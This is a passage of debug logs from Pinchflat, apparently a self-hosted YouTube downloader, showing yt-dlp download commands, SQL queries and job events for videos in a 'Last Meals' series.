/tmp/pinchflat/data/06/8f/068f92a48b75557179d046387b3bb04e15b81f1feb35f18576b4e5a0e1c5b51f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:34:10.607 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=V-daEZp3YLA --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/36/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/06/8f/068f92a48b75557179d046387b3bb04e15b81f1feb35f18576b4e5a0e1c5b51f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:34:10.608 [debug] QUERY OK db=0.0ms idle=1550.4ms begin [] 21:34:10.608 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:34:07Z], "/downloads/Last Meals/2025-12-04 Neil deGrasse Tyson Eats His Last Meal/Neil deGrasse Tyson Eats His Last Meal [V-daEZp3YLA].mp4", ~U[2026-03-28 01:34:10Z], 36] 21:34:10.608 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/36/metadata.json.gz", "/config/metadata/media_items/36/thumbnail.jpg", 36, ~U[2026-03-28 01:34:10Z], ~U[2026-03-28 01:34:10Z]] 21:34:10.608 [debug] QUERY OK db=0.0ms commit [] 21:34:10.621 [debug] QUERY OK source="media_items" db=0.5ms idle=1563.3ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [822684362, ~U[2026-03-28 01:34:10Z], 36] 21:34:10.621 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:34:10.621 [info] {"args":{"id":36},"id":39,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":238971904,"event":"job:stop","queue_time":2543649385,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:34:10.622 [debug] QUERY OK source="tasks" db=0.2ms idle=728.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:34:10.622 [debug] QUERY OK source="tasks" db=0.3ms idle=564.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:34:10.622 [debug] QUERY OK source="media_items" db=0.0ms idle=13.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [37] 21:34:10.622 [debug] QUERY OK source="media_items" db=0.0ms idle=0.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [37] 21:34:10.627 [info] {"args":{"id":38},"id":41,"meta":{},"system_time":1774661650627623433,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:34:10.628 [debug] QUERY OK source="media_items" db=0.3ms idle=5.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [38] 21:34:10.628 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:34:10.628 [debug] QUERY OK source="tasks" db=0.4ms idle=5.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:34:10.628 [debug] QUERY OK source="tasks" db=0.6ms idle=5.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:34:10.628 [debug] QUERY OK source="sources" db=0.1ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:34:10.628 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:34:10.628 [debug] QUERY OK source="media_items" db=0.4ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [37, 38] 21:34:10.628 [debug] QUERY OK source="media_items" db=0.4ms idle=0.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [37, 38] 21:34:10.629 [debug] QUERY OK source="media_items" db=0.4ms idle=0.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [38] 21:34:10.629 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [38] 21:34:10.629 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:34:10.629 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:34:10.629 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:34:10.630 [debug] Running yt-dlp command for action: get_downloadable_status 21:34:10.630 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:34:10.630 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:34:10.630 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:34:10.630 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eQH5AMqpuYU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/cf/af/cfaf2736222375a0e44cc31c35376ae91d6172034fc4da0dd633d357b38f9bbf.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:34:12.999 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eQH5AMqpuYU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/cf/af/cfaf2736222375a0e44cc31c35376ae91d6172034fc4da0dd633d357b38f9bbf.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:34:12.999 [debug] Running yt-dlp command for action: download 21:34:12.999 [debug] QUERY OK source="settings" db=0.0ms idle=942.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:34:12.999 [debug] QUERY OK source="settings" db=0.0ms idle=942.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:34:12.999 [debug] QUERY OK source="settings" db=0.0ms idle=942.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:34:13.000 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eQH5AMqpuYU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/03/c8/03c82314cef3fd2f0a976ce88b25a4008add82b6e9b7caea52dbce251500fcc4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:34:20.531 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0AW6tWTRLeU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/15/a1/15a19cbb6513ac01313332419c8ba54a00bbd8eacc0ea94e2676c75d6bb2284a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:34:20.541 [debug] Running yt-dlp command for action: download_thumbnail 21:34:20.541 [debug] QUERY OK source="settings" db=0.0ms idle=632.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:34:20.542 [debug] QUERY OK source="settings" db=0.0ms idle=484.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:34:20.542 [debug] QUERY OK source="settings" db=0.0ms idle=484.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:34:20.542 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0AW6tWTRLeU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/37/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/8d/1b/8d1b026cc752c4136f5e6cac67516dc766179a0c0e408c17db0bc70f565f5600.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:34:23.163 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0AW6tWTRLeU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/37/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/8d/1b/8d1b026cc752c4136f5e6cac67516dc766179a0c0e408c17db0bc70f565f5600.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:34:23.163 [debug] QUERY OK db=0.0ms idle=1106.2ms begin [] 21:34:23.164 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:34:20Z], "/downloads/Last Meals/2024-08-20 Shayne Topp Eats His Last Meal/Shayne Topp Eats His Last Meal [0AW6tWTRLeU].mp4", ~U[2026-03-28 01:34:23Z], 37] 21:34:23.164 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/37/metadata.json.gz", "/config/metadata/media_items/37/thumbnail.jpg", 37, ~U[2026-03-28 01:34:23Z], ~U[2026-03-28 01:34:23Z]] 21:34:23.164 [debug] QUERY OK db=0.0ms commit [] 21:34:23.166 [debug] QUERY OK source="media_items" db=0.7ms idle=1107.6ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [388920644, ~U[2026-03-28 01:34:23Z], 37] 21:34:23.166 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:34:23.166 [info] {"args":{"id":37},"id":40,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":190508360,"event":"job:stop","queue_time":2603657389,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:34:23.166 [debug] QUERY OK source="tasks" db=0.2ms idle=1108.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:34:23.166 [debug] QUERY OK source="tasks" db=0.2ms idle=251.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:34:23.166 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [38] 21:34:23.166 [debug] QUERY OK source="media_items" db=0.1ms idle=0.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [38] 21:34:23.171 [info] {"args":{"id":39},"id":42,"meta":{},"system_time":1774661663171603269,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:34:23.172 [debug] QUERY OK source="media_items" db=0.3ms idle=5.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [39] 21:34:23.172 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:34:23.172 [debug] QUERY OK source="tasks" db=0.4ms idle=5.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:34:23.172 [debug] QUERY OK source="tasks" db=0.5ms idle=4.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:34:23.172 [debug] QUERY OK source="sources" db=0.1ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:34:23.172 [debug] QUERY OK source="media_items" db=0.3ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [38, 39] 21:34:23.172 [debug] QUERY OK source="media_items" db=0.3ms idle=0.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [38, 39] 21:34:23.172 [debug] QUERY OK source="media_profiles" db=0.5ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:34:23.173 [debug] QUERY OK source="media_items" db=0.1ms idle=0.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= 